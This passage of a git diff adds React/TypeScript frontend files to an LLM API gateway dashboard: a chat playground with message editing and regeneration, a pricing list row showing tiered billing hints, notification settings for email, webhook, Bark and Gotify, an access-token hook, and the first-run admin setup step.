+                                    )
+                                  )}
+                                </>
+                              )
+                            })()}
+                          </>
+                        )}
+                      </div>
+                    </Message>
+                  ))}
+                </BranchMessages>
+
+                {/* Branch selector for multiple versions */}
+                {versions.length > 1 && (
+                  <BranchSelector className='px-0' from={message.from}>
+                    <BranchPrevious />
+                    <BranchPage />
+                    <BranchNext />
+                  </BranchSelector>
+                )}
+              </Branch>
+            )
+          })}
+        </div>
+      </ConversationContent>
+      <ConversationScrollButton />
+    </Conversation>
+  )
+}
diff --git a/new-api/web/default/src/features/playground/index.tsx b/new-api/web/default/src/features/playground/index.tsx
new file mode 100644
index 0000000..ce9e339
--- /dev/null
+++ b/new-api/web/default/src/features/playground/index.tsx
@@ -0,0 +1,191 @@
+import { useCallback, useEffect, useState } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getUserModels, getUserGroups } from './api'
+import { PlaygroundChat } from './components/playground-chat'
+import { PlaygroundInput } from './components/playground-input'
+import { DEFAULT_GROUP } from './constants'
+import { usePlaygroundState, useChatHandler } from './hooks'
+import { createUserMessage, createLoadingAssistantMessage } from './lib'
+import type { Message as MessageType } from './types'
+
+export function Playground() {
+  const {
+    config,
+    parameterEnabled,
+    messages,
+    models,
+    groups,
+    updateMessages,
+    setModels,
+    setGroups,
+    updateConfig,
+  } = usePlaygroundState()
+
+  const { sendChat, stopGeneration, isGenerating } = useChatHandler({
+    config,
+    parameterEnabled,
+    onMessageUpdate: updateMessages,
+  })
+
+  // Edit dialog state
+  const [editingMessageKey, setEditingMessageKey] = useState<string | null>(
+    null
+  )
+
+  // Load models
+  const { data: modelsData, isLoading: isLoadingModels } = useQuery({
+    queryKey: ['playground-models'],
+    queryFn: getUserModels,
+  })
+
+  // Load groups
+  const { data: groupsData } = useQuery({
+    queryKey: ['playground-groups'],
+    queryFn: getUserGroups,
+  })
+
+  // Update models when data changes
+  useEffect(() => {
+    if (!modelsData) return
+
+    setModels(modelsData)
+
+    // Set default model if current model is not available
+    const isCurrentModelValid = modelsData.some((m) => m.value === config.model)
+    if (modelsData.length > 0 && !isCurrentModelValid) {
+      updateConfig('model', modelsData[0].value)
+    }
+  }, [modelsData, config.model, setModels, updateConfig])
+
+  // Update groups when data changes
+  useEffect(() => {
+    if (!groupsData) return
+
+    // Add auto group if not present
+    const hasAutoGroup = groupsData.some((g) => g.value === DEFAULT_GROUP)
+    const processedGroups = hasAutoGroup
+      ? groupsData
+      : [
+          {
+            value: DEFAULT_GROUP,
+            label: 'Auto',
+            ratio: 1,
+            desc: 'Circuit Breaker',
+          },
+          ...groupsData,
+        ]
+
+    setGroups(processedGroups)
+  }, [groupsData, setGroups])
+
+  const handleSendMessage = (text: string) => {
+    const userMessage = createUserMessage(text)
+    const assistantMessage = createLoadingAssistantMessage()
+
+    const newMessages = [...messages, userMessage, assistantMessage]
+    updateMessages(newMessages)
+
+    // Send chat request
+    sendChat(newMessages)
+  }
+
+  const handleCopyMessage = (message: MessageType) => {
+    // Copy is handled in MessageActions component
+    // eslint-disable-next-line no-console
+    console.log('Message copied:', message.key)
+  }
+
+  const handleRegenerateMessage = (message: MessageType) => {
+    // Find the message index and regenerate from there
+    const messageIndex = messages.findIndex((m) => m.key === message.key)
+    if (messageIndex === -1) return
+
+    // Remove messages after this one and regenerate
+    const messagesUpToHere = messages.slice(0, messageIndex)
+    const loadingMessage = createLoadingAssistantMessage()
+    const newMessages = [...messagesUpToHere, loadingMessage]
+
+    updateMessages(newMessages)
+    sendChat(newMessages)
+  }
+
+  const handleEditMessage = useCallback((message: MessageType) => {
+    setEditingMessageKey(message.key)
+  }, [])
+
+  const handleEditOpenChange = useCallback((open: boolean) => {
+    if (!open) setEditingMessageKey(null)
+  }, [])
+
+  // Apply edit and optionally re-submit from the edited user message
+  const applyEdit = useCallback(
+    (newContent: string, submit: boolean) => {
+      if (!editingMessageKey) return
+      const index = messages.findIndex((m) => m.key === editingMessageKey)
+      if (index === -1) return
+
+      const updated = messages.map((m) =>
+        m.key === editingMessageKey
+          ? { ...m, versions: [{ ...m.versions[0], content: newContent }] }
+          : m
+      )
+
+      setEditingMessageKey(null)
+
+      if (!submit || updated[index].from !== 'user') {
+        updateMessages(updated)
+        return
+      }
+
+      const toSubmit = [
+        ...updated.slice(0, index + 1),
+        createLoadingAssistantMessage(),
+      ]
+      updateMessages(toSubmit)
+      sendChat(toSubmit)
+    },
+    [editingMessageKey, messages, updateMessages, sendChat]
+  )
+
+  const handleDeleteMessage = (message: MessageType) => {
+    const newMessages = messages.filter((m) => m.key !== message.key)
+    updateMessages(newMessages)
+  }
+
+  return (
+    <div className='relative flex size-full flex-col overflow-hidden'>
+      {/* Full-width scroll container: scrolling works even over side whitespace */}
+      <div className='flex flex-1 flex-col overflow-hidden'>
+        <PlaygroundChat
+          messages={messages}
+          onCopyMessage={handleCopyMessage}
+          onRegenerateMessage={handleRegenerateMessage}
+          onEditMessage={handleEditMessage}
+          onDeleteMessage={handleDeleteMessage}
+          isGenerating={isGenerating}
+          editingKey={editingMessageKey}
+          onCancelEdit={handleEditOpenChange}
+          onSaveEdit={(newContent) => applyEdit(newContent, false)}
+          onSaveEditAndSubmit={(newContent) => applyEdit(newContent, true)}
+        />
+      </div>
+
+      {/* Input area: center content and constrain to the same container width */}
+      <div className='mx-auto w-full max-w-4xl'>
+        <PlaygroundInput
+          disabled={isGenerating}
+          groups={groups}
+          groupValue={config.group}
+          isGenerating={isGenerating}
+          isModelLoading={isLoadingModels}
+          modelValue={config.model}
+          models={models}
+          onGroupChange={(value) => updateConfig('group', value)}
+          onModelChange={(value) => updateConfig('model', value)}
+          onStop={stopGeneration}
+          onSubmit={handleSendMessage}
+        />
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/pricing/api.ts b/new-api/web/default/src/features/pricing/api.ts
new file mode 100644
index 0000000..1cf6f8f
--- /dev/null
+++ b/new-api/web/default/src/features/pricing/api.ts
@@ -0,0 +1,12 @@
+import { api } from '@/lib/api'
+import type { PricingData } from './types'
+
+// ----------------------------------------------------------------------------
+// Pricing APIs
+// ----------------------------------------------------------------------------
+
+// Get model pricing data
+export async function getPricing(): Promise<PricingData> {
+  const res = await api.get('/api/pricing')
+  return res.data
+}
diff --git a/new-api/web/default/src/features/pricing/components/model-row.tsx b/new-api/web/default/src/features/pricing/components/model-row.tsx
new file mode 100644
index 0000000..0b12d62
--- /dev/null
+++ b/new-api/web/default/src/features/pricing/components/model-row.tsx
@@ -0,0 +1,274 @@
+import { memo, useMemo } from 'react'
+import { ChevronRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { cn } from '@/lib/utils'
+import { DEFAULT_TOKEN_UNIT } from '../constants'
+import {
+  parseTiersFromExpr,
+  splitBillingExprAndRequestRules,
+  tryParseRequestRuleExpr,
+  SOURCE_TIME,
+} from '../lib/billing-expr'
+import { parseTags } from '../lib/filters'
+import { isTokenBasedModel } from '../lib/model-helpers'
+import { formatPrice, formatRequestPrice } from '../lib/price'
+import type { PricingModel, TokenUnit } from '../types'
+
+export interface ModelRowProps {
+  model: PricingModel
+  onClick: () => void
+  priceRate?: number
+  usdExchangeRate?: number
+  tokenUnit?: TokenUnit
+  showRechargePrice?: boolean
+}
+
+interface DynamicPricingHints {
+  tierCount: number
+  hasTimeCondition: boolean
+  hasRequestCondition: boolean
+}
+
+/**
+ * Extract at-a-glance hints from a tiered billing expression.
+ *
+ * The full breakdown lives in `DynamicPricingBreakdown`; here we only need a
+ * minimal summary (tier count + condition presence) so that users scanning
+ * the list can tell *what kind* of dynamic pricing applies before clicking
+ * through to the model details page.
+ */
+function summarizeTieredExpr(
+  expr: string | null | undefined
+): DynamicPricingHints {
+  if (!expr) {
+    return { tierCount: 0, hasTimeCondition: false, hasRequestCondition: false }
+  }
+  const split = splitBillingExprAndRequestRules(expr)
+  const tiers = parseTiersFromExpr(split.billingExpr)
+  const ruleGroups = tryParseRequestRuleExpr(split.requestRuleExpr || '') || []
+
+  let hasTimeCondition = false
+  let hasRequestCondition = false
+  for (const group of ruleGroups) {
+    for (const condition of group.conditions) {
+      if (condition.source === SOURCE_TIME) {
+        hasTimeCondition = true
+      } else {
+        hasRequestCondition = true
+      }
+    }
+  }
+
+  return {
+    tierCount: tiers.length,
+    hasTimeCondition,
+    hasRequestCondition,
+  }
+}
+
+function PriceLabel(props: { label: string; value: string; muted?: boolean }) {
+  return (
+    <div className='flex items-baseline justify-end gap-2'>
+      <span
+        className={cn(
+          'text-[11px]',
+          props.muted ? 'text-muted-foreground/40' : 'text-muted-foreground/60'
+        )}
+      >
+        {props.label}
+      </span>
+      <span
+        className={cn(
+          'font-mono text-sm tabular-nums',
+          props.muted
+            ? 'text-muted-foreground'
+            : 'text-foreground font-semibold'
+        )}
+      >
+        {props.value}
+      </span>
+    </div>
+  )
+}
+
+export const ModelRow = memo(function ModelRow(props: ModelRowProps) {
+  const { t } = useTranslation()
+  const model = props.model
+  const priceRate = props.priceRate ?? 1
+  const usdExchangeRate = props.usdExchangeRate ?? 1
+  const tokenUnit = props.tokenUnit ?? DEFAULT_TOKEN_UNIT
+  const showRechargePrice = props.showRechargePrice ?? false
+
+  const isTokenBased = isTokenBasedModel(model)
+  const vendorIcon = model.vendor_icon
+    ? getLobeIcon(model.vendor_icon, 20)
+    : null
+  const tags = parseTags(model.tags)
+  const tokenUnitLabel = tokenUnit === 'K' ? '1K' : '1M'
+  const hasCachedPrice = isTokenBased && model.cache_ratio != null
+
+  const isDynamicPricing =
+    model.billing_mode === 'tiered_expr' && Boolean(model.billing_expr)
+  const dynamicHints = useMemo(
+    () => (isDynamicPricing ? summarizeTieredExpr(model.billing_expr) : null),
+    [isDynamicPricing, model.billing_expr]
+  )
+
+  return (
+    <button
+      type='button'
+      onClick={props.onClick}
+      className='group hover:bg-muted/40 w-full border-b text-left transition-colors last:border-b-0'
+    >
+      <div className='flex items-start gap-3.5 px-4 py-3.5 sm:gap-4 sm:px-5 sm:py-4'>
+        <div className='hidden shrink-0 pt-0.5 sm:block'>
+          {vendorIcon || (
+            <div className='bg-muted text-muted-foreground flex size-5 items-center justify-center rounded text-[10px] font-bold'>
+              {model.model_name?.charAt(0).toUpperCase() || '?'}
+            </div>
+          )}
+        </div>
+
+        <div className='min-w-0 flex-1'>
+          <div className='flex items-center gap-2'>
+            <span className='shrink-0 sm:hidden'>{vendorIcon}</span>
+            <h3 className='text-foreground truncate font-mono text-sm font-semibold'>
+              {model.model_name}
+            </h3>
+          </div>
+
+          <div className='text-muted-foreground mt-0.5 flex items-center gap-1.5 text-xs'>
+            {model.vendor_name && <span>{model.vendor_name}</span>}
+            {model.vendor_name && (
+              <span className='text-muted-foreground/30'>·</span>
+            )}
+            <span className='text-muted-foreground/60'>
+              {isTokenBased ? t('Token-based') : t('Per Request')}
+            </span>
+            {model.supported_endpoint_types &&
+              model.supported_endpoint_types.length > 0 && (
+                <>
+                  <span className='text-muted-foreground/30'>·</span>
+                  <span className='text-muted-foreground/50'>
+                    {model.supported_endpoint_types.slice(0, 2).join(', ')}
+                    {model.supported_endpoint_types.length > 2 &&
+                      ` +${model.supported_endpoint_types.length - 2}`}
+                  </span>
+                </>
+              )}
+            {isDynamicPricing && (
+              <>
+                <span className='text-muted-foreground/30'>·</span>
+                <span className='rounded bg-amber-100 px-1.5 py-0.5 text-[10px] font-medium text-amber-700 dark:bg-amber-500/20 dark:text-amber-300'>
+                  {t('Dynamic Pricing')}
+                </span>
+                {dynamicHints && dynamicHints.tierCount > 1 && (
+                  <span className='bg-muted text-muted-foreground rounded px-1.5 py-0.5 text-[10px] font-medium'>
+                    {t('{{count}} tiers', { count: dynamicHints.tierCount })}
+                  </span>
+                )}
+                {dynamicHints?.hasTimeCondition && (
+                  <span className='bg-muted text-muted-foreground rounded px-1.5 py-0.5 text-[10px] font-medium'>
+                    {t('Time-based')}
+                  </span>
+                )}
+                {dynamicHints?.hasRequestCondition && (
+                  <span className='bg-muted text-muted-foreground rounded px-1.5 py-0.5 text-[10px] font-medium'>
+                    {t('Request-based')}
+                  </span>
+                )}
+              </>
+            )}
+          </div>
+
+          {model.description && (
+            <p className='text-muted-foreground/60 mt-1 line-clamp-1 text-xs leading-relaxed'>
+              {model.description}
+            </p>
+          )}
+
+          {tags.length > 0 && (
+            <div className='mt-1.5 flex flex-wrap gap-1'>
+              {tags.slice(0, 4).map((tag) => (
+                <span
+                  key={tag}
+                  className='bg-muted text-muted-foreground rounded px-1.5 py-0.5 text-[10px] font-medium'
+                >
+                  {tag}
+                </span>
+              ))}
+              {tags.length > 4 && (
+                <span className='text-muted-foreground/40 self-center text-[10px]'>
+                  +{tags.length - 4}
+                </span>
+              )}
+            </div>
+          )}
+        </div>
+
+        <div className='shrink-0 text-right'>
+          {isTokenBased ? (
+            <div className='grid gap-0.5'>
+              <PriceLabel
+                label={t('Input')}
+                value={formatPrice(
+                  model,
+                  'input',
+                  tokenUnit,
+                  showRechargePrice,
+                  priceRate,
+                  usdExchangeRate
+                )}
+              />
+              {hasCachedPrice && (
+                <PriceLabel
+                  label={t('Cached')}
+                  value={formatPrice(
+                    model,
+                    'cache',
+                    tokenUnit,
+                    showRechargePrice,
+                    priceRate,
+                    usdExchangeRate
+                  )}
+                  muted
+                />
+              )}
+              <PriceLabel
+                label={t('Output')}
+                value={formatPrice(
+                  model,
+                  'output',
+                  tokenUnit,
+                  showRechargePrice,
+                  priceRate,
+                  usdExchangeRate
+                )}
+              />
+              <span className='text-muted-foreground/40 text-[10px]'>
+                / {tokenUnitLabel} tokens
+              </span>
+            </div>
+          ) : (
+            <div>
+              <span className='text-foreground text-sm font-semibold tabular-nums'>
+                {formatRequestPrice(
+                  model,
+                  showRechargePrice,
+                  priceRate,
+                  usdExchangeRate
+                )}
+              </span>
+              <div className='text-muted-foreground/40 text-[10px]'>
+                / {t('request')}
+              </div>
+            </div>
+          )}
+        </div>
+
+        <ChevronRight className='text-muted-foreground/20 group-hover:text-muted-foreground/50 mt-1.5 hidden size-4 shrink-0 transition-colors sm:block' />
+      </div>
+    </button>
+  )
+})
diff --git a/new-api/web/default/src/features/profile/components/tabs/notification-tab.tsx b/new-api/web/default/src/features/profile/components/tabs/notification-tab.tsx
new file mode 100644
index 0000000..e1287a2
--- /dev/null
+++ b/new-api/web/default/src/features/profile/components/tabs/notification-tab.tsx
@@ -0,0 +1,368 @@
+import { useState, useEffect, useCallback } from 'react'
+import { Bell, Loader2, Mail, Server, Webhook } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { ROLE } from '@/lib/roles'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group'
+import { Switch } from '@/components/ui/switch'
+import { PasswordInput } from '@/components/password-input'
+import { updateUserSettings } from '../../api'
+import {
+  DEFAULT_QUOTA_WARNING_THRESHOLD,
+  NOTIFICATION_METHODS,
+} from '../../constants'
+import { parseUserSettings } from '../../lib'
+import type { UserProfile, UserSettings, NotifyType } from '../../types'
+
+const NOTIFICATION_ICONS: Record<string, typeof Mail> = {
+  email: Mail,
+  webhook: Webhook,
+  bark: Bell,
+  gotify: Server,
+}
+
+// ============================================================================
+// Settings Tab Component
+// ============================================================================
+
+interface NotificationTabProps {
+  profile: UserProfile | null
+  onUpdate: () => void
+}
+
+export function NotificationTab({ profile, onUpdate }: NotificationTabProps) {
+  const { t } = useTranslation()
+  const isAdmin = (profile?.role ?? 0) >= ROLE.ADMIN
+  const [loading, setLoading] = useState(false)
+  const [settings, setSettings] = useState<UserSettings>({
+    notify_type: 'email',
+    quota_warning_threshold: DEFAULT_QUOTA_WARNING_THRESHOLD,
+    notification_email: '',
+    webhook_url: '',
+    webhook_secret: '',
+    bark_url: '',
+    gotify_url: '',
+    gotify_token: '',
+    gotify_priority: 5,
+    accept_unset_model_ratio_model: false,
+    record_ip_log: false,
+    upstream_model_update_notify_enabled: false,
+  })
+
+  // Update form field helper
+  const updateField = useCallback(
+    <K extends keyof UserSettings>(field: K, value: UserSettings[K]) => {
+      setSettings((prev) => ({ ...prev, [field]: value }))
+    },
+    []
+  )
+
+  useEffect(() => {
+    if (profile?.setting) {
+      const parsed = parseUserSettings(profile.setting)
+      setSettings({
+        notify_type: parsed.notify_type || 'email',
+        quota_warning_threshold:
+          parsed.quota_warning_threshold ?? DEFAULT_QUOTA_WARNING_THRESHOLD,
+        notification_email: parsed.notification_email ?? '',
+        webhook_url: parsed.webhook_url ?? '',
+        webhook_secret: parsed.webhook_secret ?? '',
+        bark_url: parsed.bark_url ?? '',
+        gotify_url: parsed.gotify_url ?? '',
+        gotify_token: parsed.gotify_token ?? '',
+        gotify_priority: parsed.gotify_priority ?? 5,
+        accept_unset_model_ratio_model:
+          parsed.accept_unset_model_ratio_model || false,
+        record_ip_log: parsed.record_ip_log || false,
+        upstream_model_update_notify_enabled:
+          parsed.upstream_model_update_notify_enabled || false,
+      })
+    }
+  }, [profile])
+
+  const handleSave = async () => {
+    try {
+      setLoading(true)
+      const response = await updateUserSettings(settings)
+
+      if (response.success) {
+        toast.success(t('Settings updated successfully'))
+        onUpdate()
+      } else {
+        toast.error(response.message || t('Failed to update settings'))
+      }
+    } catch (_error) {
+      toast.error(t('Failed to update settings'))
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  return (
+    <div className='space-y-6'>
+      {/* Notification Type */}
+      <div className='space-y-3'>
+        <Label>{t('Notification Method')}</Label>
+        <RadioGroup
+          value={settings.notify_type}
+          onValueChange={(value) =>
+            updateField('notify_type', value as NotifyType)
+          }
+          className='grid grid-cols-2 gap-3 sm:grid-cols-4'
+        >
+          {NOTIFICATION_METHODS.map((method) => {
+            const Icon = NOTIFICATION_ICONS[method.value]
+            const isSelected = settings.notify_type === method.value
+            return (
+              <Label
+                key={method.value}
+                htmlFor={method.value}
+                className={`flex cursor-pointer flex-col items-center gap-2 rounded-lg border-2 p-3 transition-colors ${
+                  isSelected
+                    ? 'border-primary bg-primary/5 text-primary'
+                    : 'border-muted hover:border-muted-foreground/25 hover:bg-muted/50'
+                }`}
+              >
+                <RadioGroupItem
+                  value={method.value}
+                  id={method.value}
+                  className='sr-only'
+                />
+                <Icon className='h-5 w-5' />
+                <span className='text-sm font-medium'>{t(method.label)}</span>
+              </Label>
+            )
+          })}
+        </RadioGroup>
+      </div>
+
+      {/* Warning Threshold */}
+      <div className='space-y-2'>
+        <Label htmlFor='threshold'>{t('Quota Warning Threshold')}</Label>
+        <Input
+          id='threshold'
+          type='number'
+          value={settings.quota_warning_threshold}
+          onChange={(e) =>
+            updateField('quota_warning_threshold', Number(e.target.value))
+          }
+          placeholder={t('Enter threshold')}
+        />
+        <p className='text-muted-foreground text-xs'>
+          {t('Get notified when balance falls below this value')}
+        </p>
+      </div>
+
+      {/* Email Settings */}
+      {settings.notify_type === 'email' && (
+        <div className='space-y-2'>
+          <Label htmlFor='notifyEmail'>{t('Notification Email')}</Label>
+          <Input
+            id='notifyEmail'
+            type='email'
+            value={settings.notification_email}
+            onChange={(e) => updateField('notification_email', e.target.value)}
+            placeholder={t('Leave empty to use account email')}
+          />
+        </div>
+      )}
+
+      {/* Webhook Settings */}
+      {settings.notify_type === 'webhook' && (
+        <>
+          <div className='space-y-2'>
+            <Label htmlFor='webhookUrl'>{t('Webhook URL')}</Label>
+            <Input
+              id='webhookUrl'
+              type='url'
+              value={settings.webhook_url}
+              onChange={(e) => updateField('webhook_url', e.target.value)}
+              placeholder={t('https://example.com/webhook')}
+            />
+          </div>
+          <div className='space-y-2'>
+            <Label htmlFor='webhookSecret'>{t('Webhook Secret')}</Label>
+            <PasswordInput
+              id='webhookSecret'
+              value={settings.webhook_secret}
+              onChange={(e) => updateField('webhook_secret', e.target.value)}
+              placeholder={t('Enter secret key')}
+            />
+          </div>
+        </>
+      )}
+
+      {/* Bark Settings */}
+      {settings.notify_type === 'bark' && (
+        <div className='space-y-2'>
+          <Label htmlFor='barkUrl'>{t('Bark Push URL')}</Label>
+          <Input
+            id='barkUrl'
+            type='url'
+            value={settings.bark_url}
+            onChange={(e) => updateField('bark_url', e.target.value)}
+            placeholder={t('https://api.day.app/yourkey/{{title}}/{{content}}')}
+          />
+          <p className='text-muted-foreground text-xs'>
+            {t('Template variables:')} {'{{title}}'}, {'{{content}}'}
+          </p>
+        </div>
+      )}
+
+      {/* Gotify Settings */}
+      {settings.notify_type === 'gotify' && (
+        <>
+          <div className='space-y-2'>
+            <Label htmlFor='gotifyUrl'>{t('Gotify Server URL')}</Label>
+            <Input
+              id='gotifyUrl'
+              type='url'
+              value={settings.gotify_url}
+              onChange={(e) => updateField('gotify_url', e.target.value)}
+              placeholder={t('https://gotify.example.com')}
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('Enter the full URL of your Gotify server')}
+            </p>
+          </div>
+          <div className='space-y-2'>
+            <Label htmlFor='gotifyToken'>{t('Gotify Application Token')}</Label>
+            <PasswordInput
+              id='gotifyToken'
+              value={settings.gotify_token}
+              onChange={(e) => updateField('gotify_token', e.target.value)}
+              placeholder={t('Enter application token')}
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('Token obtained from your Gotify application')}
+            </p>
+          </div>
+          <div className='space-y-2'>
+            <Label htmlFor='gotifyPriority'>{t('Message Priority')}</Label>
+            <Input
+              id='gotifyPriority'
+              type='number'
+              min='0'
+              max='10'
+              value={settings.gotify_priority}
+              onChange={(e) =>
+                updateField('gotify_priority', Number(e.target.value))
+              }
+              placeholder='5'
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t(
+                'Priority level from 0 (lowest) to 10 (highest), default is 5'
+              )}
+            </p>
+          </div>
+          <div className='bg-muted/50 rounded-lg border p-4'>
+            <h5 className='mb-2 text-sm font-medium'>
+              {t('Setup Instructions')}
+            </h5>
+            <ol className='text-muted-foreground space-y-1 text-xs'>
+              <li>{t('1. Create an application in your Gotify server')}</li>
+              <li>{t('2. Copy the application token')}</li>
+              <li>{t('3. Enter your Gotify server URL and token above')}</li>
+            </ol>
+            <p className='text-muted-foreground mt-3 text-xs'>
+              {t('Learn more:')}{' '}
+              <a
+                href='https://gotify.net/'
+                target='_blank'
+                rel='noopener noreferrer'
+                className='text-primary hover:underline'
+              >
+                {t('Gotify Documentation')}
+              </a>
+            </p>
+          </div>
+        </>
+      )}
+
+      {/* Divider */}
+      <div className='border-t' />
+
+      {/* Preferences Section */}
+      <div className='space-y-4'>
+        <div>
+          <h4 className='text-sm font-medium'>{t('Preferences')}</h4>
+          <p className='text-muted-foreground mt-1 text-xs'>
+            {t('Configure your account behavior preferences')}
+          </p>
+        </div>
+
+        {/* Receive Upstream Model Update Notifications (admin only) */}
+        {isAdmin && (
+          <div className='flex flex-col gap-3 rounded-lg border p-4 sm:flex-row sm:items-center sm:justify-between'>
+            <div className='space-y-0.5'>
+              <Label htmlFor='upstreamModelUpdateNotify'>
+                {t('Receive Upstream Model Update Notifications')}
+              </Label>
+              <p className='text-muted-foreground text-sm'>
+                {t(
+                  'Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.'
+                )}
+              </p>
+            </div>
+            <Switch
+              id='upstreamModelUpdateNotify'
+              className='shrink-0'
+              checked={settings.upstream_model_update_notify_enabled}
+              onCheckedChange={(checked) =>
+                updateField('upstream_model_update_notify_enabled', checked)
+              }
+            />
+          </div>
+        )}
+
+        {/* Accept Unset Model Price */}
+        <div className='flex flex-col gap-3 rounded-lg border p-4 sm:flex-row sm:items-center sm:justify-between'>
+          <div className='space-y-0.5'>
+            <Label htmlFor='acceptUnsetPrice'>
+              {t('Accept Unpriced Models')}
+            </Label>
+            <p className='text-muted-foreground text-sm'>
+              {t('Allow using models without price configuration')}
+            </p>
+          </div>
+          <Switch
+            id='acceptUnsetPrice'
+            className='shrink-0'
+            checked={settings.accept_unset_model_ratio_model}
+            onCheckedChange={(checked) =>
+              updateField('accept_unset_model_ratio_model', checked)
+            }
+          />
+        </div>
+
+        {/* Record IP Log */}
+        <div className='flex flex-col gap-3 rounded-lg border p-4 sm:flex-row sm:items-center sm:justify-between'>
+          <div className='space-y-0.5'>
+            <Label htmlFor='recordIp'>{t('Record IP Address')}</Label>
+            <p className='text-muted-foreground text-sm'>
+              {t('Log IP address for usage and error logs')}
+            </p>
+          </div>
+          <Switch
+            id='recordIp'
+            className='shrink-0'
+            checked={settings.record_ip_log}
+            onCheckedChange={(checked) => updateField('record_ip_log', checked)}
+          />
+        </div>
+      </div>
+
+      {/* Save Button */}
+      <div className='flex justify-end'>
+        <Button onClick={handleSave} disabled={loading}>
+          {loading && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+          {loading ? t('Saving...') : t('Save Settings')}
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/profile/hooks/use-access-token.ts b/new-api/web/default/src/features/profile/hooks/use-access-token.ts
new file mode 100644
index 0000000..223f64d
--- /dev/null
+++ b/new-api/web/default/src/features/profile/hooks/use-access-token.ts
@@ -0,0 +1,46 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { generateAccessToken } from '../api'
+
+// ============================================================================
+// Access Token Hook
+// ============================================================================
+
+export function useAccessToken() {
+  const [token, setToken] = useState<string>('')
+  const [generating, setGenerating] = useState(false)
+  const { copyToClipboard } = useCopyToClipboard({ notify: false })
+
+  // Generate new access token
+  const generate = useCallback(async (): Promise<boolean> => {
+    try {
+      setGenerating(true)
+      const response = await generateAccessToken()
+
+      if (response.success && response.data) {
+        setToken(response.data)
+        copyToClipboard(response.data)
+        toast.success(i18next.t('Token regenerated and copied to clipboard'))
+        return true
+      }
+
+      toast.error(response.message || i18next.t('Failed to generate token'))
+      return false
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to generate token:', error)
+      toast.error(i18next.t('Failed to generate token'))
+      return false
+    } finally {
+      setGenerating(false)
+    }
+  }, [copyToClipboard])
+
+  return {
+    token,
+    generating,
+    generate,
+  }
+}
diff --git a/new-api/web/default/src/features/redemption-codes/lib/index.ts b/new-api/web/default/src/features/redemption-codes/lib/index.ts
new file mode 100644
index 0000000..f55e1ad
--- /dev/null
+++ b/new-api/web/default/src/features/redemption-codes/lib/index.ts
@@ -0,0 +1,15 @@
+// ============================================================================
+// Utility Functions
+// ============================================================================
+export { isRedemptionExpired, isTimestampExpired } from './utils'
+
+// ============================================================================
+// Form Utilities
+// ============================================================================
+export {
+  getRedemptionFormSchema,
+  type RedemptionFormValues,
+  REDEMPTION_FORM_DEFAULT_VALUES,
+  transformFormDataToPayload,
+  transformRedemptionToFormDefaults,
+} from './redemption-form'
diff --git a/new-api/web/default/src/features/setup/api.ts b/new-api/web/default/src/features/setup/api.ts
new file mode 100644
index 0000000..8976828
--- /dev/null
+++ b/new-api/web/default/src/features/setup/api.ts
@@ -0,0 +1,40 @@
+import { api } from '@/lib/api'
+import type { SetupFormValues, SetupResponse } from './types'
+
+export async function getSetupStatus(): Promise<SetupResponse> {
+  const res = await api.get('/api/setup', {
+    // We want fresh status on every visit.
+    params: {
+      t: Date.now(),
+    },
+  })
+  return res.data
+}
+
+export async function submitSetup(
+  payload: Record<string, unknown>
+): Promise<SetupResponse> {
+  const res = await api.post('/api/setup', payload)
+  return res.data
+}
+
+export function buildSetupPayload(
+  values: SetupFormValues,
+  rootInitialized: boolean
+) {
+  const { usageMode, ...rest } = values
+
+  const basePayload = {
+    SelfUseModeEnabled: usageMode === 'self',
+    DemoSiteEnabled: usageMode === 'demo',
+  }
+
+  if (rootInitialized) {
+    return basePayload
+  }
+
+  return {
+    ...rest,
+    ...basePayload,
+  }
+}
diff --git a/new-api/web/default/src/features/setup/components/admin-step.tsx b/new-api/web/default/src/features/setup/components/admin-step.tsx
new file mode 100644
index 0000000..4e530ab
--- /dev/null
+++ b/new-api/web/default/src/features/setup/components/admin-step.tsx
@@ -0,0 +1,105 @@
+import type { UseFormReturn } from 'react-hook-form'
+import { ShieldCheck } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { PasswordInput } from '@/components/password-input'
+import type { SetupFormValues } from '../types'
+
+interface AdminStepProps {
+  form: UseFormReturn<SetupFormValues>
+  rootInitialized?: boolean
+}
+
+export function AdminStep({ form, rootInitialized }: AdminStepProps) {
+  const { t } = useTranslation()
+  if (rootInitialized) {
+    return (
+      <Alert className='border-sky-200 bg-sky-50 dark:border-sky-900/60 dark:bg-sky-950/40'>
+        <AlertDescription className='flex items-start gap-2'>
+          <ShieldCheck className='mt-0.5 size-4 text-sky-500' />
+          {t(
+            'The administrator account is already initialized. You can keep your existing credentials and continue to the next step.'
+          )}
+        </AlertDescription>
+      </Alert>
+    )
+  }
+
+  return (
+    <div className='grid gap-4 sm:grid-cols-2'>
+      <FormField
+        control={form.control}
+        name='username'
+        render={({ field }) => (
+          <FormItem>
+            <FormLabel>{t('Administrator username')}</FormLabel>
+            <FormControl>
+              <Input
+                {...field}
+                placeholder={t('Choose a username')}
+                autoComplete='username'
+                onChange={(event) => {
+                  form.clearErrors('username')
+                  field.onChange(event)
+                }}
+              />
+            </FormControl>
+            <FormMessage />
+          </FormItem>
+        )}
+      />
+
+      <FormField
+        control={form.control}
+        name='password'
+        render={({ field }) => (
+          <FormItem>
+            <FormLabel>{t('Password')}</FormLabel>
+            <FormControl>
